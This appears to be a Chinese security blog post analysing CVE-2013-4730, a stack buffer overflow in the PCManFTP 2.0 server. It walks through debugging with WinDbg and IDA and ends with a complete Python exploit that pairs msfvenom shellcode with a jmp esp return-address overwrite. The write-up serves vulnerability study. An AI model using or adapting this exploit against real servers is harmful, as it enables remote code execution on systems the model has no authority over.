Fork me on GitHub

PCManFTP2.0 (CVE-2013-4730)漏洞分析

PCManFTP2.0 (CVE-2013-4730)漏洞分析

简介

pcManFTP是一款FTP服务器软件,它的2.0版本在接受命令时,
如果命令后的字符串过长会发生溢出,该溢出漏洞可导致执行任意机器指令。


漏洞分析环境

OS:                    Microsoft Windows 10 64bit 专业版
Software:            PCManFTP 2.0
winDbg:                6.12.2.633
IDAPro:                6.8 绿色版
python:                python 2.7

漏洞分析

#####参考了k0shl大佬的视频https://www.ichunqiu.com/qad/course/56129

编写了如下的python脚本用作poc,文件名:poc.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#!/usr/bin/env python 
# coding=utf-8
# fileName: poc.py
# usage: python poc.py ip port payloadNum

from pwn import *
import sys

RHOST = sys.argv[1]
RPORT = int(sys.argv[2])
payload = cyclic(int(sys.argv[3])) #用于快速定位漏洞触发位置

r = remote(RHOST,RPORT)
print r.recv(1024)
r.send('USER '+payload+'\r\n')
print r.recv(1024)
r.close()

然后打开winDbg,这里使用了打开的方法调试PCManFTP2.exe,直接输入g命令执行。
然后执行如下命令运行poc.py
python poc.py 192.168.0.103 21 2048
这时由于产生了异常winDbg被断下

01

可以看到eip被覆盖为0x61616275,使用cyclic -l 0x61616275命令可得到从缓冲区到返回地址一共有2003个字节

02

下面进行分析看是哪个函数调用使缓冲区溢出了。执行kb命令可以发现,整个栈空间大都被畸形字符串覆盖了

03

这里无法通过堆栈回溯找到上层的调用。由于软件是网络软件,在接受客户端命令时可能会调用recv()的接受函数,这时打开ida加载pcmanftp搜索文本recv

04

找到了两处recv()的调用,重新打开winDbg并下这两处的断点,输入g继续执行

1
2
bp 4029d5
bp 40563e

执行poc.py,windbg断在4029d5处,在输入g继续执行发现eip又被覆盖为61616275,说明缓冲区被覆盖的位置在第一次触发断点之后,而且40563e位置的断点没有触发可以删除。再次打开winDbg下断点bp 4029d5,执行poc并断下后,查看函数参数

05

recv函数的原型是int recv(SOCKET s, char *buf, int len,int flags);传入的buf地址是0x19ecf8,最大长度是0x1000,然后单步步过这个函数,在查看buf里的字符串

06

发现buf已经被畸形字符串覆盖了,由于poc传入的是2048个字节,小于recv的最大接收字节所以畸形字符串全部存在buf里,继续单步步过直到触发异常,发现异常发生在402a26处的函数调用

07

那么缓冲区溢出就发生在该函数的内部,在ida中跳到该地址处静态分析。进入该函数内部,这里由于我的IDA产生了sp-analysis failed错误不能F5,所以就看汇编了。在403ee6位置调用了_sprintf函数,我们知道这个函数是一个危险的函数,如果不控制输入缓冲区大小就会造成溢出。

08

打开winDbg设置断点bp 403ee6,继续运行,当命中断点时由于不确定这一处是否被多次调用仍然要输入g继续执行,最后发现在第二次命中断点后引发了异常。然后重新调试下断点直到异常发生前一次的断点位置,开始分析。查看传入的参数

1
2
3
4
5
6
7
8
9
0:000> dd esp
0019e4a0 0019e4e4 004416d4 000007e1 00000009
0019e4b0 00000004 0000000b 00000013 00000368
0019e4c0 02528750 0019ecf8 00000004 0019ecf8
0019e4d0 000907e1 00040001 0013000b 02690008
0019e4e0 00000000 00000000 00000000 00000000
0019e4f0 00000000 00000000 00000000 00000000
0019e500 00000000 00000000 00000000 00000000
0019e510 00000000 00000000 00000000 00000000

被写入的地址是19e4e4,格式控制字符串为

1
2
3
4
5
6
7
8
9
0:000> dc 4416d4
004416d4 252f6425 64252f64 30255b20 253a6432 %d/%d/%d [%02d:%
004416e4 5d643230 30252820 20296435 203e7325 02d] (%05d) %s>
004416f4 0a0d7325 00000000 20313234 6e6e6f43 %s......421 Conn
00441704 69746365 74206e6f 64656d69 74756f20 ection timed out
00441714 63202d20 69736f6c 0d2e676e 0000000a - closing......
00441724 00002a5c 0000002a 77726325 2d2d7278 \*..*...%crwxr--
00441734 202d2d72 20302020 20707466 20202020 r-- 0 ftp
00441744 70746620 36492520 25207534 73252073 ftp %I64u %s %s

那么数一下格式控制符就可以知道最后一个%s对应的参数为19ecf8,而这里就是畸形字符串的地址(recv里的buf),显然当payload过长就有可能覆盖返回地址。

1
2
3
4
5
6
7
8
9
0:000> dc 19ecf8
0019ecf8 52455355 61616120 61616261 61616361 USER aaaabaaacaa
0019ed08 61616461 61616561 61616661 61616761 adaaaeaaafaaagaa
0019ed18 61616861 61616961 61616a61 61616b61 ahaaaiaaajaaakaa
0019ed28 61616c61 61616d61 61616e61 61616f61 alaaamaaanaaaoaa
0019ed38 61617061 61617161 61617261 61617361 apaaaqaaaraaasaa
0019ed48 61617461 61617561 61617661 61617761 ataaauaaavaaawaa
0019ed58 61617861 61617961 61617a61 61616262 axaaayaaazaabbaa
0019ed68 61616362 61616462 61616562 61616662 bcaabdaabeaabfaa

另外这个sprintf的调用函数在402a26处,这个上面已经分析过,然而这个函数调用不是标准的,它没有创建栈帧

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
00403e5e 90              nop
00403e5f 90 nop
;402a26函数代码片段
00403e60 a140354400 mov eax,dword ptr [image00400000+0x43540 (00443540)];从402a26来
00403e65 81ec14080000 sub esp,814h
00403e6b 85c0 test eax,eax
00403e6d 56 push esi
00403e6e 57 push edi
00403e6f 8bf1 mov esi,ecx
00403e71 750d jne image00400000+0x3e80 (00403e80)
00403e73 a148354400 mov eax,dword ptr [image00400000+0x43548 (00443548)]
00403e78 85c0 test eax,eax
00403e7a 0f8431010000 je image00400000+0x3fb1 (00403fb1)
00403e80 8d442408 lea eax,[esp+8]
00403e84 50 push eax
00403e85 ff15a8524300 call dword ptr [image00400000+0x352a8 (004352a8)]

所以堆栈回溯无法确定返回地址在栈中的位置,当然我们可以在402a26位置下断点记下位置,这里由于已经知道在payload偏移2003处覆盖返回地址(上面分析过)就不必了。我们可以单步步过直到返回。然后查看栈

1
2
3
4
5
6
7
8
9
0:000> dc esp
0019ece4 61616275 61616375 61616475 61616575 ubaaucaaudaaueaa
0019ecf4 61616675 61616775 61616875 61616975 ufaaugaauhaauiaa
0019ed04 61616a75 61616b75 61616c75 000a0d75 ujaaukaaulaau...
0019ed14 61616761 61616861 61616961 61616a61 agaaahaaaiaaajaa
0019ed24 61616b61 61616c61 61616d61 61616e61 akaaalaaamaaanaa
0019ed34 61616f61 61617061 61617161 61617261 aoaaapaaaqaaaraa
0019ed44 61617361 61617461 61617561 61617661 asaaataaauaaavaa
0019ed54 61617761 61617861 61617961 61617a61 awaaaxaaayaaazaa

可见返回地址已经被覆盖为0x61616275.这里要注意下,19ecf8处为recv的buf,而19e4e4为sprintf的写入地址,所以payload过长会覆盖recv的buf,在漏洞利用上得注意。最后,不止USER命令,其他命令在同样位置均存在溢出。


漏洞利用

由于我的win10 64bit默认开启的DEP防护是optin,所以就不绕过DEP了,好像pcman没有开启alsr也就不用绕过了,我直接获取本机的user32.dll中的jmp esp地址的。利用手法很简单,因为我还不会高明的利用,这里只是搞着玩!
开始:
payload在偏移2003处开始覆盖返回地址,这里直接覆盖返回地址为jmp esp,然后后面跟上一个跳转指令直接跳到19ecf8处的shellcode,又由于这里会被覆盖(上面有解释)那么可以向后偏移几个字节,比如可以直接跳转到19ecff处,跳转的偏移=0x19ecff-0x19ecec-4=0xf=15,4是跳转指令的长度,这里的返回指令是ret 4所以esp会额外加4。至于shellcode,我用msfvenom来生成一个弹出计算器的shellcode:msfvenom -p windows/exec CMD=calc.exe -e x86/shikata_ga_nai -i 2 -f python -b '\x00\x0a\x0d'

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
#!/usr/bin/env python
# coding=utf-8
# fileName: exp.py
# usage: python exp.py ip port

from pwn import *
import sys

buf = ""
buf += "\xd9\xcf\xd9\x74\x24\xf4\x5a\x31\xc9\xb1\x38\xbd\x61"
buf += "\xa3\x34\xc0\x31\x6a\x17\x83\xc2\x04\x03\x0b\xb0\xd6"
buf += "\x35\x11\x71\xcf\xc2\x81\x8a\x4b\x9c\xea\x94\x9a\xbe"
buf += "\xdf\x91\x52\x71\x2e\x7d\x8d\xf1\xbf\x7d\xae\xaa\x9d"
buf += "\xbf\xa2\x9e\xc3\xb8\x19\x2d\xb1\x2f\xf4\x84\x36\x87"
buf += "\xf6\xba\x8b\x40\xb9\x4c\xd4\x22\x3d\x52\x9e\xd5\xc1"
buf += "\x90\xa3\x45\x37\xb3\x25\xfb\x73\xee\x25\xcf\x9b\x62"
buf += "\xe8\xcf\xf1\xb0\x68\xb2\x6a\xd4\x5f\x3a\xa7\xd4\x0f"
buf += "\x7f\x48\xac\x85\x37\xc1\x8e\x23\xac\x5b\xc1\xa2\x01"
buf += "\xbc\xd1\x12\x28\xad\xfe\x21\xdf\x26\x80\x5a\x27\x53"
buf += "\xc1\x3a\xcf\xe2\x6f\xad\x14\x7e\x86\x66\xef\x6e\x5a"
buf += "\x2c\x96\x87\x8a\xfb\xcc\x24\xf9\x7c\x22\xf3\x29\xfc"
buf += "\xde\x4a\x92\x8c\x50\x18\x01\x1c\x20\x78\x55\xb0\x66"
buf += "\xe1\x19\xed\x07\xa3\x8e\x83\x4c\x77\xe3\x91\x99\xab"
buf += "\xf2\x90\x4d\x2b\x4f\x81\xb6\x3c\x48\x04\x2f\x3b\x6a"
buf += "\x11\x57\xdb\xa8\xfa\x16\x72\x64\xac\xdf\xb2\x94\x21"
buf += "\x26\xc6\x9a\x9e\x48\xef\x37\x1a\x95\xca\xba\xe2\x6c"
buf += "\xb2\x1d\xd2\x8c\x05\xa0\x17\xd4\x43\x1a\x20\xfa\xef"
buf += "\x23\x2a\x2e\x0e\x81\x59\x97\xb8\x4d\x13\xf7\x33\x81"#247 bytes


RHOST = sys.argv[1]
RPORT = int(sys.argv[2])
payload = '\x90'*(2003-len(buf)) #填充为nop
payload += buf #shellcode
payload += p32(0x742d2109)+'\x90'*4 #jmp esp覆盖为返回地址
payload += '\xeb\x0f' #向后跳转15字节
r = remote(RHOST,RPORT)
r.send('USER '+payload+'\r\n')
r.close()

然后直接执行exp即可
09

-------------本文结束感谢您的阅读-------------

本文标题:PCManFTP2.0 (CVE-2013-4730)漏洞分析

文章作者:r00tnb

发布时间:2017年12月05日 - 20:12

最后更新:2018年08月05日 - 15:08

原始链接:https://r00tnb.github.io/2017/12/05/PCManFTP2.0 (CVE-2013-4730)漏洞分析/

许可协议: 署名-非商业性使用-禁止演绎 4.0 国际 转载请保留原文链接及作者。

坚持原创,您的鼓励是我最大的动力!